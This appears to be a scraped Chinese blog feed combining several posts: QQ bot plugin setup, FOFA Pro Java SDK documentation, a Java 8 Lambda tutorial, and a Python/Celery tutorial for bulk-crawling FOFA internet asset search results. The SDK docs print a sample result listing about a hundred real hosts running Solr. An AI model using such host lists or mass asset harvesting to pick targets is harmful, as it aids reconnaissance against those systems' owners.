运行Newbe.Mahua.Plugins.iChunqiuQQBot/Newbe.Mahua.Plugins.iChunqiuQQBoot.Beta
目录中的build.bat
文件进行编译1
build.bat
在Newbe.Mahua.Plugins.iChunqiuQQBot/Newbe.Mahua.Plugins.iChunqiuQQBoot.Beta/bin
目录下会按照当前安装的平台生成相应的目录。本示例将会生成 CQP、Amanda 和 MPQ 三个目录。
分别将三个文件夹下的所有文件和文件夹都复制到对应的机器人平台根目录。
以 CQP 为例,进行一次复制过程如下图所示:
各机器人软件下载地址:
名称 | 地址 |
---|---|
CQP | https://cqp.cc/ |
MPQ | https://f.mypcqq.cc/thread-2327-1-1.html |
CleverQQ | https://d.cleverqq.cn/forum.php |
QQLight | http://www.52chat.cc/ |
各个机器人平台的启用方式各不相同。
按照下图所示,开启开发者模式。
打开插件管理将插件启用。
打开插件管理将插件启用。
打开插件管理将插件启用。
打开插件管理将插件启用。
发送消息给机器人,你就会收到机器人回发的信息。
机器人插件启动可能需要一段时间,并且大多数平台都会丢弃离线信息,可能需要等待一会儿在发送。
1 | ├─images 图片资源 |
2019.06.19
……
2018.5.21
2018.3.13
2018.3.9
2018.3.1
2018.2.4
https://github.com/fofapro/fofa-spring-boot-starter
FOFA Pro API
是资产搜索引擎 FOFA Pro
为开发者提供的 RESTful API
接口, 允许开发者在自己的项目中集成 FOFA Pro
的功能。
基于 FOFA Pro API
编写的 Spring Boot
版 SDK
, 方便 java 开发者快速将 FOFA Pro
集成到自己的项目中。
1 | <dependency> |
1 | implementation 'com.r4v3zn.fofa:fofa-spring-boot-starter:1.0.0' |
1 | compile("com.r4v3zn.fofa:fofa-spring-boot-starter:1.0.0") |
1 | libraryDependencies += "com.r4v3zn.fofa" % "fofa-spring-boot-starter" % "1.0.0" |
1 | <dependency org="com.r4v3zn.fofa" name="fofa-spring-boot-starter" rev="1.0.0" /> |
1 | ( |
1 | [com.r4v3zn.fofa/fofa-spring-boot-starter "1.0.0"] |
1 | 'com.r4v3zn.fofa:fofa-spring-boot-starter:jar:1.0.0' |
1 | [![Maven Central](https://img.shields.io/maven-central/v/com.r4v3zn.fofa/fofa-spring-boot-starter.svg?label=Maven%20Central)](https://search.maven.org/search?q=g:%22com.r4v3zn.fofa%22%20AND%20a:%22fofa-spring-boot-starter%22) |
1 | pkg:maven/com.r4v3zn.fofa/fofa-spring-boot-starter@1.0.0 |
1 | maven_jar( |
字段名称 | 描述 |
---|---|
email | 用户登陆 FOFA Pro 使用的 Email |
key | 前往 个人中心 查看 API Key |
需要配置项目中的application.yml
或application.properties
文件。
1 | fofa: |
1 | fofa.email= |
1 |
|
1 |
|
1 | FofaData{mode='extended', page=1, size=8578, totalPage=86, query='app="Solr"', results=[52.204.201.10:8080, 39.106.133.253:8081, 168.61.45.247:3000, 185.145.32.101:9090, 47.92.153.193:8083, https://54.177.198.16:9443, https://46.137.115.176, 109.202.145.150:9090, 18.229.36.175, https://52.65.18.222, 94.103.24.81, 128.119.168.198:8080, 45.56.107.121:8090, 159.65.33.96:8080, 165.28.246.132, 34.205.15.100:8080, 3.89.155.86, 101.200.142.15:8099, 45.56.91.166:8090, 107.21.102.229, 89.28.161.145:8083, 35.165.137.220, 162.243.2.73:32768, 3.82.255.95:8080, 52.22.6.26, 96.126.97.74:8090, https://solr.swoonery.com, 63.34.225.181:8083, 18.223.238.90:7777, 167.99.252.65:8081, 18.232.114.197, 96.126.104.116:8090, 52.17.255.254, 101.201.145.141:8888, 13.228.98.189, 52.66.197.212:8081, 34.226.45.218:9443, 36.111.196.193:8082, 52.80.87.182, 97.107.133.44:8090, 173.255.217.135:8080, 34.199.97.120:8081, 52.17.131.156, https://13.55.200.182:443, 23.23.104.210, 54.68.95.160, https://54.77.13.29:8082, 66.175.209.109:8090, 52.200.107.211:8080, 104.130.124.46:7777, 192.231.177.172:8090, 54.221.155.2, 203.135.191.199:8080, 218.93.127.8:9080, 101.251.241.194:8081, 115.79.204.120:8888, 39.106.23.13:8180, https://52.16.231.131:8080, 52.5.53.165:8080, 39.106.180.220:8180, 52.67.86.138, https://52.26.130.143, 52.37.105.68, 23.239.19.16:8090, 52.58.193.2, 168.218.15.134, 52.44.108.125:9443, 76.210.250.82:32768, 52.71.163.53, 92.243.20.10:8080, 157.249.39.129, www.marineparts.us:8983, 185.135.12.139:8080, 123.207.239.114:8082, 66.175.209.253:8090, 66.175.209.38:8090, 173.255.223.210:8090, 14.29.118.239:20000, 70.142.24.61:8080, 3.87.173.6:8001, 47.107.106.243:20000, 101.201.117.191, 118.190.215.162, 116.203.141.150:8080, 58.250.149.11:8085, 3.88.123.255, 173.255.216.58:8090, 14.139.13.78:8080, 54.149.94.198, 142.93.183.248:8082, 216.47.157.209:8090, 202.202.240.113:7777, 198.101.238.25:8080, 52.66.72.8:8888, 92.243.20.10:8081, 23.239.23.20:8090, 39.107.94.23:8888, 79.137.82.228:8083, 120.55.191.189:8010, 52.21.16.23:8080]} |
2019-06-17
- 开源
]]>https://github.com/fofapro/fofa-java
FOFA Pro API
是资产搜索引擎 FOFA Pro
为开发者提供的 RESTful API
接口, 允许开发者在自己的项目中集成 FOFA Pro
的功能。
基于 FOFA Pro API
编写的 java
版 SDK
, 方便 java 开发者快速将 FOFA Pro
集成到自己的项目中。
1 | <dependency> |
1 | implementation 'com.r4v3zn.fofa:fofa-core:1.0.0' |
1 | compile("com.r4v3zn.fofa:fofa-core:1.0.0") |
1 | libraryDependencies += "com.r4v3zn.fofa" % "fofa-core" % "1.0.0" |
1 | <dependency org="com.r4v3zn.fofa" name="fofa-core" rev="1.0.0" /> |
1 | ( |
1 | [com.r4v3zn.fofa/fofa-core "1.0.0"] |
1 | 'com.r4v3zn.fofa:fofa-core:jar:1.0.0' |
1 | [![Maven Central](https://img.shields.io/maven-central/v/com.r4v3zn.fofa/fofa-core.svg?label=Maven%20Central)](https://search.maven.org/search?q=g:%22com.r4v3zn.fofa%22%20AND%20a:%22fofa-core%22) |
1 | pkg:maven/com.r4v3zn.fofa/fofa-core@1.0.0 |
1 | maven_jar( |
字段名称 | 描述 |
---|---|
email | 用户登陆 FOFA Pro 使用的 Email |
key | 前往 个人中心 查看 API Key |
1 | public static void main(String[] args) throws Exception { |
1 | public static void main(String[] args) throws Exception { |
1 | FofaData{mode='extended', page=1, size=8578, totalPage=86, query='app="Solr"', results=[52.204.201.10:8080, 39.106.133.253:8081, 168.61.45.247:3000, 185.145.32.101:9090, 47.92.153.193:8083, https://54.177.198.16:9443, https://46.137.115.176, 109.202.145.150:9090, 18.229.36.175, https://52.65.18.222, 94.103.24.81, 128.119.168.198:8080, 45.56.107.121:8090, 159.65.33.96:8080, 165.28.246.132, 34.205.15.100:8080, 3.89.155.86, 101.200.142.15:8099, 45.56.91.166:8090, 107.21.102.229, 89.28.161.145:8083, 35.165.137.220, 162.243.2.73:32768, 3.82.255.95:8080, 52.22.6.26, 96.126.97.74:8090, https://solr.swoonery.com, 63.34.225.181:8083, 18.223.238.90:7777, 167.99.252.65:8081, 18.232.114.197, 96.126.104.116:8090, 52.17.255.254, 101.201.145.141:8888, 13.228.98.189, 52.66.197.212:8081, 34.226.45.218:9443, 36.111.196.193:8082, 52.80.87.182, 97.107.133.44:8090, 173.255.217.135:8080, 34.199.97.120:8081, 52.17.131.156, https://13.55.200.182:443, 23.23.104.210, 54.68.95.160, https://54.77.13.29:8082, 66.175.209.109:8090, 52.200.107.211:8080, 104.130.124.46:7777, 192.231.177.172:8090, 54.221.155.2, 203.135.191.199:8080, 218.93.127.8:9080, 101.251.241.194:8081, 115.79.204.120:8888, 39.106.23.13:8180, https://52.16.231.131:8080, 52.5.53.165:8080, 39.106.180.220:8180, 52.67.86.138, https://52.26.130.143, 52.37.105.68, 23.239.19.16:8090, 52.58.193.2, 168.218.15.134, 52.44.108.125:9443, 76.210.250.82:32768, 52.71.163.53, 92.243.20.10:8080, 157.249.39.129, www.marineparts.us:8983, 185.135.12.139:8080, 123.207.239.114:8082, 66.175.209.253:8090, 66.175.209.38:8090, 173.255.223.210:8090, 14.29.118.239:20000, 70.142.24.61:8080, 3.87.173.6:8001, 47.107.106.243:20000, 101.201.117.191, 118.190.215.162, 116.203.141.150:8080, 58.250.149.11:8085, 3.88.123.255, 173.255.216.58:8090, 14.139.13.78:8080, 54.149.94.198, 142.93.183.248:8082, 216.47.157.209:8090, 202.202.240.113:7777, 198.101.238.25:8080, 52.66.72.8:8888, 92.243.20.10:8081, 23.239.23.20:8090, 39.107.94.23:8888, 79.137.82.228:8083, 120.55.191.189:8010, 52.21.16.23:8080]} |
2019-06-12
- 添加中文文档
2019-06-11
- 修改开发者信息- 删除hutool-http依赖
]]>我们知道,对于一个Java变量,我们可以赋给其一个“值”。
如果你想把“一块代码”赋给一个Java变量,应该怎么做呢?
比如,我想把右边那块代码,赋给一个叫做aBlockOfCode的Java变量:
在Java 8之前,这个是做不到的。但是Java 8问世之后,利用Lambda特性,就可以做到了。
当然,这个并不是一个很简洁的写法。所以,为了使这个赋值操作更加elegant, 我们可以移除一些没用的声明。
这样,我们就成功的非常优雅的把“一块代码”赋给了一个变量。而“这块代码”,或者说“这个被赋给一个变量的函数”,就是一个Lambda表达式。但是这里仍然有一个问题,就是变量aBlockOfCode的类型应该是什么?在Java 8里面,所有的Lambda的类型都是一个接口,而Lambda表达式本身,也就是”那段代码“,需要是这个接口的实现。这是我认为理解Lambda的一个关键所在,简而言之就是,Lambda表达式本身就是一个接口的实现。直接这样说可能还是有点让人困扰,我们继续看看例子。我们给上面的aBlockOfCode加上一个类型:
这种只有一个接口函数需要被实现的接口类型,我们叫它”函数式接口“。为了避免后来的人在这个接口中增加接口函数导致其有多个接口函数需要被实现,变成”非函数接口”,我们可以在这个上面加上一个声明@FunctionalInterface, 这样别人就无法在里面添加新的接口函数了:
这样,我们就得到了一个完整的Lambda表达式声明:
最直观的作用就是使得代码变得异常简洁。
我们可以对比一下Lambda表达式和传统的Java对同一个接口的实现:
这两种写法本质上是等价的。但是显然,Java 8中的写法更加优雅简洁。并且,由于Lambda可以直接赋值给一个变量,我们就可以直接把Lambda作为参数传给函数, 而传统的Java必须有明确的接口实现的定义,初始化才行:
有些情况下,这个接口实现只需要用到一次。传统的Java 7必须要求你定义一个“污染环境”的接口实现MyInterfaceImpl,而相较之下Java 8的Lambda, 就显得干净很多。
直接上例子。
假设Person的定义和List
现在需要你打印出guiltyPersons List里面所有LastName以”Z”开头的人的FirstName。
原生态Lambda写法:定义两个函数式接口,定义一个静态函数,调用静态函数并给参数赋值Lambda表达式。
这个代码实际上已经比较简洁了,但是我们还可以更简洁么?当然可以。在Java 8中有一个函数式接口的包,里面定义了大量可能用到的函数式接口(java.util.function (Java Platform SE 8 ))。所以,我们在这里压根都不需要定义NameChecker和Executor这两个函数式接口,直接用Java 8函数式接口包里的Predicate
c
静态函数里面的for each循环其实是非常碍眼的。这里可以利用Iterable自带的forEach()来替代。forEach()本身可以接受一个Consumer
由于静态函数其实只是对List进行了一通操作,这里我们可以甩掉静态函数,直接使用stream()特性来完成。stream()的几个方法都是接受Predicate
对比最开始的Lambda写法,这里已经非常非常简洁了。但是如果,我们的要求变一下,变成print这个人的全部信息,及p -> System.out.println(p); 那么还可以利用Method reference来继续简化。所谓Method reference, 就是用已经写好的别的Object/Class的method来代替Lambda expression。格式如下:
这基本上就是能写的最简洁的版本了。
这里假设我们有一个person object,以及一个person object的Optional wrapper:
Optional
我们现在就来对比一下下面四种常见的null处理中,Java 8的Lambda+Optional
由上述四种情况可以清楚地看到,Optional
1 | 作者:Mingqi |
描述环境为文章中所用到的所有技术以及中间件并非全部安装,可根据使用的规模进行调整使用。
语言:python2.7(必须)
模块:requests(必须)
操作系统:MacOS 10.13.4(非必须)
分布式消息队列管理:Celery(最后一节安装)
日志记录:logging(必须)
中间价:Redis(最后一节安装)/MySQL(必须)
数据库操作:pymysql(必须)/DBUtils(必须)
1 | # 安装requests |
注:Windows安装Celery时最好安装3.1.25版本,不然可能会有意想不到的惊喜。
请求:https://fofa.so/api/v1/search/all
请求方式:GET
请求参数:
参数名称 | 参数类型 | 参数描述 | 是否必须 |
---|---|---|---|
string | FOFA pro账号邮箱 | 是 | |
key | string | FOFA pro账户登陆key | 是 |
qbase64 | string | FOFA查询语句base64编码 | 是 |
page | int | 页码,默认为第一页 | 否 |
size | int | 每页数量,默认100条 | 否 |
fields | string | 字段段列表,默认为host,用逗号分隔多个参数,如(fields=ip,title),可选的列表有:host title ip domain port country city | 否 |
响应:
参数名称 | 参数类型 | 参数描述 |
---|---|---|
mode | string | 查询模式 |
page | int | 当前页码 |
size | int | 请求返回结果的总数 |
results | array | 请求返回结果的详情数组 |
设计数据库存放FOFA爬虫数据,方便统计查询。
字段名称 | 字段类型 | 是否允许为空 | 描述 |
---|---|---|---|
id | int(11) | 否 | id自增 |
host | varchar(255) | 否 | host |
ip | varchar(255) | 否 | ip地址 |
port | varchar(255) | 否 | 端口号 |
protocol | varchar(255) | 否 | 协议 |
country_ name | varchar(255) | 是 | 国家名称 |
region_name | varchar(255) | 是 | 省份名称 |
city_name | varchar(255) | 是 | 城市名称 |
isp | varchar(255) | 是 | 运营商 |
fofa_sql | text | 否 | FOFA查询语句 |
create_date | datetime | 否 | 创建时间 |
update_date | datetime | 否 | 更新时间 |
sql语句
1 | DROP TABLE IF EXISTS `fofa_spider`; |
数据库sql文件:https://github.com/0nise/scripts/blob/master/fofa_spider.sql
本节主要讲解可适用与一般的FOFA爬虫,如果需要大批量数据爬虫请您接着往下看。
语言:python2.7
中间件:MySQL
第三方包:pymysql/requests/
场景:小规模爬虫/一般爬虫
通过查看FOFA API可以得知请求地址和参数,开局一句话功能全靠编。
在发送大量的http请求时最好使用统一的HTTP请求中心,方便控制,代码重复利用,提高效率。
1 | session = requests.session() |
有了统一的请求中心接下来就该编写入库代码,将爬虫结果存入数据库中
1 | ''' |
可以存入数据库中就该写核心的函数逻辑函数,输入参数仅为FOFA检索语句。
1 | ''' |
程序运行结果:
完整代码地址:https://github.com/0nise/scripts/blob/master/fofa_spider.py
注:运行脚本之前先配置相关配置信息(数据库/FOFA信息)
针对一般的数据爬虫数据爬虫,上述方法可以完美适应。但如果需要爬虫的是为千万级别规模的数据上述方法就显得有点不行了,解决方案有一般有多线程/多进程/协程等。
针对大规模数据爬虫,很多人想到的是多线程/多进程/协程等方案,但是这些方案的可扩展并不是很强,如果需要调整工具需要停止程序修改程序等,这里我的思路是使用生产者和消费的思路来处理。只需要对上述的代码做轻微修改就可以完美的适应大规模数据爬虫,这里我使用redis+celery的方式来实现。
Redis是一款开源的、高性能的键-值存储(key-value store)。它常被称作是一款数据结构服务器(data structure server)。
Redis的键值可以包括字符串(strings)类型,同时它还包括哈希(hashes)、列表(lists)、集合(sets)和 有序集合(sorted sets)等数据类型。 对于这些数据类型,你可以执行原子操作。例如:对字符串进行附加操作(append);递增哈希中的值;向列表中增加元素;计算集合的交集、并集与差集等。
为了获得优异的性能,Redis采用了内存中(in-memory)数据集(dataset)的方式。同时,Redis支持数据的持久化,你可以每隔一段时间将数据集转存到磁盘上(snapshot),或者在日志尾部追加每一条操作命令(append only file,aof)。
Redis同样支持主从复制(master-slave replication),并且具有非常快速的非阻塞首次同步( non-blocking first synchronization)、网络断开自动重连等功能。同时Redis还具有其它一些特性,其中包括简单的事物支持、发布订阅 ( pub/sub)、管道(pipeline)和虚拟内存(vm)等 。
Redis具有丰富的客户端,支持现阶段流行的大多数编程语言。
Celery(芹菜)是一个简单、灵活且可靠的,处理大量消息的分布式系统,并且提供维护这样一个系统的必需工具。
任务队列是一种在线程或机器间分发任务的机制。
消息队列的输入是工作的一个单元,称为任务,独立的职程(Worker)进程持续监视队列中是否有需要处理的新任务。
Celery 用消息通信,通常使用中间人(Broker)在客户端和职程间斡旋。这个过程从客户端向队列添加消息开始,之后中间人把消息派送给职程,职程对消息进行处理。如下图所示:
Celery 系统可包含多个职程和中间人,以此获得高可用性和横向扩展能力。
Celery的架构由三部分组成,消息中间件(message broker),任务执行单元(worker)和任务执行结果存储(task result store)组成。
Celery本身不提供消息服务,但是可以方便的和第三方提供的消息中间件集成,包括,RabbitMQ,Redis,MongoDB等,这里我先去了解RabbitMQ,Redis。
Worker是Celery提供的任务执行的单元,worker并发的运行在分布式的系统节点中
Task result store用来存储Worker执行的任务的结果,Celery支持以不同方式存储任务的结果,包括Redis,MongoDB,Django ORM,AMQP等,这里我先不去看它是如何存储的,就先选用Redis来存储任务执行结果。
官方文档:http://docs.celeryproject.org/en/latest/
中文笔记:http://www.cnblogs.com/forward-wang/p/5970806.html
上面看不懂没关系,会用就行。
添加celery配置信息
1 | ''' |
添加核心函数
1 | ''' |
修改业务逻辑代码
1 | ''' |
完整代码地址:https://github.com/0nise/scripts/blob/master/fofa_spider_ext.py
python fofa_spider_ext.py
发送需要爬虫的任务信息celery -A fofa_spider_ext worker -l info
进行消费爬虫运行成功
数据库信息